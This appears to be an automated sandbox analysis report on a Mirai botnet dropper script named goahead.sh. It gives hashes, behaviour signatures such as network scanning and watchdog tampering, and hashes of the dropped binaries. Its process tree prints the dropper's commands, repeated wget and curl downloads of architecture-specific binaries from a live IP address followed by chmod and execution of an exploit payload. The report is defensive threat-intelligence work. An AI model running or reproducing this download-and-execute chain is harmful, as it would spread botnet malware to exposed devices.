Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    11-12-2024 21:52

General

  • Target

    goahead.sh

  • Size

    2KB

  • MD5

    773c1c86e0bae0797850ada81b9d2592

  • SHA1

    d7bc840b90bb6d91af76ff3da47f02499b532b63

  • SHA256

    64aece1f47e650294e15961d13d6e648a19cfe51610edd1ad2bce7dec9030dc1

  • SHA512

    6b5ef2b0d69703381a2305427e60f563b8864ef9be4fb8e2a9f45f370867a41ddcf784562cfef009db2b9c76f894ce76432ba86a2ecf8d051cd3c991bb510500

Malware Config

Extracted

Family

mirai

Botnet

BOTNET

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (107977) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Modifies Watchdog functionality 1 TTPs 10 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 4 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Changes its process name 4 IoCs
  • Reads system network configuration 1 TTPs 4 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 5 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/goahead.sh
    /tmp/goahead.sh
    1⤵
    • Writes file to tmp directory
    PID:1499
    • /usr/bin/wget
      wget http://37.114.41.90/bins/i486
      2⤵
        PID:1500
      • /usr/bin/curl
        curl -O http://37.114.41.90/bins/i486
        2⤵
        • Writes file to tmp directory
        PID:1501
      • /bin/cat
        cat i486
        2⤵
          PID:1505
        • /bin/chmod
          chmod +x Andrew config-err-xbMkPD goahead.sh i486 netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-0kP2wn
          2⤵
          • File and Directory Permissions Modification
          PID:1506
        • /tmp/Andrew
          ./Andrew goahead.exploit
          2⤵
          • Executes dropped EXE
          PID:1507
        • /usr/bin/wget
          wget http://37.114.41.90/bins/x86
          2⤵
          • Writes file to tmp directory
          PID:1508
        • /usr/bin/curl
          curl -O http://37.114.41.90/bins/x86
          2⤵
          • Writes file to tmp directory
          PID:1509
        • /bin/cat
          cat x86
          2⤵
            PID:1510
          • /bin/chmod
            chmod +x Andrew config-err-xbMkPD goahead.sh i486 netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-0kP2wn x86
            2⤵
            • File and Directory Permissions Modification
            PID:1511
          • /tmp/Andrew
            ./Andrew goahead.exploit
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Changes its process name
            • Reads runtime system information
            PID:1512
          • /usr/bin/wget
            wget http://37.114.41.90/bins/i686
            2⤵
            • Writes file to tmp directory
            PID:1514
          • /usr/bin/curl
            curl -O http://37.114.41.90/bins/i686
            2⤵
            • Writes file to tmp directory
            PID:1518
          • /bin/chmod
            chmod +x Andrew config-err-xbMkPD goahead.sh i486 i686 netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-timedated.service-0kP2wn x86
            2⤵
            • File and Directory Permissions Modification
            PID:1520
          • /tmp/Andrew
            ./Andrew goahead.exploit
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Changes its process name
            • Reads system network configuration
            • Reads runtime system information
            PID:1521
          • /usr/bin/wget
            wget http://37.114.41.90/bins/x86_64
            2⤵
            • Writes file to tmp directory
            PID:1526
          • /usr/bin/curl
            curl -O http://37.114.41.90/bins/x86_64
            2⤵
            • Writes file to tmp directory
            PID:1532
          • /bin/chmod
            chmod +x Andrew config-err-xbMkPD goahead.sh i486 i686 netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc x86 x86_64
            2⤵
            • File and Directory Permissions Modification
            PID:1534
          • /tmp/Andrew
            ./Andrew goahead.exploit
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Changes its process name
            • Reads system network configuration
            • Reads runtime system information
            PID:1535
          • /usr/bin/wget
            wget http://37.114.41.90/bins/mips
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1537
          • /usr/bin/curl
            curl -O http://37.114.41.90/bins/mips
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1541
          • /bin/chmod
            chmod +x Andrew config-err-xbMkPD goahead.sh i486 i686 mips netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc x86 x86_64
            2⤵
            • File and Directory Permissions Modification
            PID:1543
          • /tmp/Andrew
            ./Andrew goahead.exploit
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Changes its process name
            • Reads system network configuration
            • Reads runtime system information
            PID:1544
          • /usr/bin/wget
            wget http://37.114.41.90/bins/mpsl
            2⤵
            • Writes file to tmp directory
            PID:1546
          • /usr/bin/curl
            curl -O http://37.114.41.90/bins/mpsl
            2⤵
            • Writes file to tmp directory
            PID:1550
          • /bin/chmod
            chmod +x Andrew config-err-xbMkPD goahead.sh i486 i686 mips mpsl netplan_to3ui06m snap-private-tmp ssh-pbfYtcsZBz3S systemd-private-1ee0a31078f1483aabf09376414e3b30-bolt.service-5TrdbD systemd-private-1ee0a31078f1483aabf09376414e3b30-colord.service-tiadYM systemd-private-1ee0a31078f1483aabf09376414e3b30-ModemManager.service-Lnas8Y systemd-private-1ee0a31078f1483aabf09376414e3b30-systemd-resolved.service-lhR2Sc x86 x86_64
            2⤵
            • File and Directory Permissions Modification
            PID:1552
          • /tmp/Andrew
            ./Andrew goahead.exploit
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Reads system network configuration
            • Reads runtime system information
            PID:1553

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • /tmp/i486

          Filesize

          274B

          MD5

          090e35476de39030dfeafbcf3d3e3f43

          SHA1

          a4bd408cec5d1185b478e528cf60a9f5186e0b87

          SHA256

          0085db6c6f0d1ba4e0ea26fcc04cd3afc69a900a9fd087079c4957364bf4dd1b

          SHA512

          55c266d1a3bb285ec821ecac894c2f5dbae7798c08e4f829db0e8c06f22084a919ef0fb17a1ddf4640228453bee8555fa6f69025c398292c5c8382e3c466a181

        • /tmp/i686

          Filesize

          28KB

          MD5

          15fb222600a3061f5c8e5ef04e5298a6

          SHA1

          93b4a17632479c8a45e2554a18ea61ea7365c532

          SHA256

          fff08f2a1a9c20d447ac5cacb89df1287bb830a2fc0cd5866d31d9f3ba653965

          SHA512

          11e390838b35bdacfa84ebdfc076f564abc1538bc972895b81d2156be52177bb25d62662871ae624747cca29e089a7a9a6ef205db4c694a2c106641d33942c34

        • /tmp/mips

          Filesize

          34KB

          MD5

          6088a204e0792a10d3724e836fe699b7

          SHA1

          fc1cf1010c99f155c46f94ec0529c8cea32c6055

          SHA256

          345984c9618d8bbf1c6e4a70ea62edd4666132f3787dbf07ad118d620cab8a2e

          SHA512

          bdf6dd68777d986f952a9d3aa5e505aaf360cda74d336c81f5ae1abebdebbdeb595f7bcdb26187f3c59fafbf545265b126435e3ead4346898f328e408bf8e48e

        • /tmp/mpsl

          Filesize

          34KB

          MD5

          b8f2bf3e7c002718f12751cb02130d2e

          SHA1

          06919c90eae2564ee9ded3f343e2ec18839e411d

          SHA256

          390f79cfca6cc7660d64c22208b4f2166807e5875da1a15336a9dccff130034d

          SHA512

          adfccc7878b168cba5b9f9ce92f246bced0e15db876c28ed2f7e0ec5e344ec6652b643045ca79937de7655da4c71b77db2c778f8b8d11b196bfff156a7d16185

        • /tmp/x86

          Filesize

          28KB

          MD5

          54d07ade0004f03aaca028523d8f3eb6

          SHA1

          73606fc68439ea7ceb148f94d61dbe0235da8355

          SHA256

          d1270e8be4de4713834930df984a515448ca8dd0acc7b0e03e5aa7fc4428882b

          SHA512

          43ce9c67151734e6e907a4bf30c06e41b52d524c388273380506b604ce3fed2779ef057b282737b1e05c11055611a4bd0559567253fb1b0f3309114e20eadf4b

        • /tmp/x86_64

          Filesize

          28KB

          MD5

          9cc970e0631afa61a049848f4f368b12

          SHA1

          54d7d99f436e9c97da5bfdd43698bb1dbd679b29

          SHA256

          681951c3fa70c2d14fe48e3c829f9f62f04f8fa9b430c0a87e849e397333dc16

          SHA512

          9f5bcd759af164b0e22479d44806dce6d3ca3e2b62fa3ac154b83111804cd1ee1df4b549fff0e8ab72d2a2d66dadb0f8f1cc301fee83a711e5c4055c2ee3567e